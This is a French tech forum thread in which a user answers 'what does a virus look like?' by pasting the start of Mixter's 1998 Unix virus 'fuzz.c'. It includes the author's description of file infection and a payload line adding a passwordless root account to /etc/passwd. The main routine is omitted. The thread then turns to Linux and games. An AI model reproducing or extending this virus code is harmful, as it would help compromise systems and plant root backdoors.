[Troll] Windows, Linux et Mac OS X

[arcanis]

C'est comment un virus ?

Ca ressemble un peu à ça, mais en beaucoup plus long (j'ai pas mis le main par manque de place):

Code :

/* [ http://www.rootshell.com/ ] */

/* The module infector for Linux kernels published recently on rootshell
inspired me to take a look at some old code, that was able to spawn
itself on a FreeBSD host and run arbitary commands as root as soon
as one infected file was run by root. This is more or less the same
principle like the "bliss" virus, however I never managed to get the
sources for that one. This virus is *really* simple, it searches for
files with write permission by brute force trying to infect files. It will
then infect the file with arbitary code and mark it as infected.
The default "malicious" action is to add a uid 0 user to /etc/passwd.
This source can be freely modified to do anything else. I figured out
that this could for example help someone keeping who rooted a box...
another use would be to put in something like in ADMw0rm - for example
a remote buffer overflow or a remote NFS scanner that scans for remote
holes when the virus is running and gives remote root to infect other
systems.

PATCH: chattr +i your executables maybe and NEVER EXECUTE
UNCHECKED BINARIES AS ROOT :)

Mixter

--- 8< --- cut --- 8< --- cut --- 8< --- */

/* fuzz.c - example of a Unix Virus
* written in July 1998 by Mixter <mixter@gmx.net>
* works on: Linux 1.x, Linux 2.x, FreeBSD 2.x
* possibly works on: Any BSD, SunOS, HPUX, IRIX
* parts of the source code copyright by "American Eagle Publications"
* this virus does NOT need root, but it would help a lot :) */

#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>
#include <sys/stat.h>
DIR *dirp;                            /* directory search structure */
struct dirent *dp;                    /* directory entry record */
struct stat st;                       /* file status record */
int stst;                             /* status-call status */
FILE *host,*virus, *pwf;              /* host/virus/passwd file */
long FileID;                          /* 1st 4 bytes of host */
char buf[512];                        /* buffer for disk reads/writes */
char *lc,*ld;                         /* used to search for virus */
size_t amt_read,hst_size;             /* amount read from file, host size */
size_t vir_size=13264;                /* size of virus, in bytes */
char dirname[10];                     /* subdir where virus stores itself */
char hst[512];

/* line being added to /etc/passwd */
char mixter[]="mixter::0:0:root:/:/bin/sh";

void readline() {
  lc=&buf[1];
  buf[0]=0;
  while (*(lc-1)!=10) {
    fread(lc,1,1,pwf);
    lc++;
    }
  }

void writeline() {
  lc=&buf[1];
  while (*(lc-1)!=10) {
    fwrite(lc,1,1,host);
    lc++;
    }
  }

(oui, je remonte trois pages en arrière mais c'est votre faute, z'aviez qu'à m'attendre )


Linux semble être un truc sympathique, mais le fait qu'on ne puisse pas y utiliser de logiciel windaube sans utiliser en même temps "un-truc-qui-n'est-pas-un-émulateur-mais-qui-en-est-quand-même-un" me gène quand même un peu...
Si encore diablo II tournait dessus sans hack, je dirais pas, mais là...